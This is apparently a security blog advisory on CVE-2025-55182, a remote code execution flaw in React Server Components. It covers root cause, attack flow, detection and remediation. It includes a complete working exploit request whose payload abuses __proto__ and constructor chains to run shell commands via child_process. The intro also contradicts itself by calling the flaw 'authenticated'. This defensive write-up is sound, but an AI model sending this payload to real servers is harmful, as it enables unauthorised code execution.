CVE-2025-55182 – React Server Components RCE (React2Shell) • 0x

React2Shell did not introduce a new exploit class. What it changed was the amount of effort required. A deserialization flaw in React Server Components enabled authenticated remote code execution across a large number of internet-facing applications. Public proof-of-concepts appeared quickly. Scanning activity followed soon after. Within days, exploitation ranged from broad opportunistic activity to more targeted campaigns. The significance wasn’t the novelty of the vulnerability, it was the reach.

Affected Versions / Technologies

React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Affected packages:
- react-server-dom-parcel
- react-server-dom-turbopack
- react-server-dom-webpack
Framework impact: Next.js applications using Server Components
Authentication: No authentication required for exploitation
CVSS Score: 10.0 (Critical)
Exploit Probability: 49%
Published Date: December 4, 2025

Root Cause

React Server Components accept serialization payloads from client requests to Server Function endpoints. In affected versions, these payloads are deserialized without sufficient validation of object structure and prototype references. By crafting a malicious payload that abuses __proto__ and constructor resolution, an attacker can escape the expected data model and execute arbitrary JavaScript in the Node.js runtime.

The vulnerability stems from unsafe handling of:

Prototype pollution via __proto__ manipulation
Constructor function access through object property chains
Insufficient input validation on Server Function endpoints

Exploitation Overview

React is widely deployed across internal tools, staging environments, and production systems. A framework-level issue enabling unauthenticated code execution meant that many applications became viable targets at once, regardless of how they were intended to be exposed.

Attack Flow

Attacker sends a crafted multipart request to a server function endpoint
React deserializes attacker-controlled input without proper validation
Prototype pollution allows access to Function/constructor
Arbitrary JavaScript executes in the server context
Command execution is achieved via Node.js APIs

Nuclei Template Details

The vulnerability can be detected and exploited using the following payload structure:

variables:
  request-id: "{{to_lower(rand_text_alphanumeric(8))}}"
  nextjs-html: "{{rand_text_alphanumeric(21)}}"
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

HTTP Request Pattern:

POST / HTTP/1.1
Host: {{Hostname}}
Next-Action: x
X-Nextjs-Request-Id: {{request-id}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: {{nextjs-html}}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $(({{num1}}*{{num2}}))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Real-World Risk / Blast Radius

High Impact Scenarios:

Internal dashboards and admin panels
Staging environments with production data
Development servers exposed to networks
Applications assumed to be “non-public”

Affected Environments: Applications using React Server Components in internal dashboards, staging systems, or assumed “non-public” environments are equally vulnerable. Since exploitation requires only network access to the endpoint, many systems not designed for hostile traffic became viable targets.

Exploitation Timeline:

Public proof-of-concepts appeared within days
Automated scanning activity detected shortly after
Both opportunistic and targeted campaigns observed

Risk Amplification:

Framework-level vulnerability affects entire application stacks
Many React applications became simultaneously vulnerable
Internal tools often lack robust security monitoring

Detection Ideas

Network Monitoring:

Monitor for unusual multipart form data to Server Function endpoints
Look for requests with Next-Action headers to non-standard endpoints
Detect prototype pollution patterns in request payloads
Watch for Shodan query: http.component:"Next.js"

Application Logging:

Log all Server Function invocations with payload inspection
Monitor for unexpected constructor/prototype property access
Alert on command execution from Node.js child_process modules

Behavioral Analysis:

Baseline normal Server Function usage patterns
Detect anomalous payload sizes or structures
Monitor for post-exploitation activities (file access, network connections)

Remediation & Mitigation

Immediate Actions:

Update React: Upgrade to patched versions immediately
Network Isolation: Restrict access to Server Function endpoints
Input Validation: Implement strict payload validation at application level

Long-term Mitigations:

Implement Content Security Policy (CSP) to limit script execution
Deploy Web Application Firewalls (WAF) with deserialization attack rules
Regular security audits of Server Component implementations
Principle of least privilege for application runtime environments

Verification:

Test applications with proof-of-concept payloads in safe environments
Validate that Server Function endpoints properly reject malicious inputs
Confirm monitoring systems detect exploitation attempts

References

Analysis by Welsh
Independent security research & vulnerability analysis

Achievement Unlocked!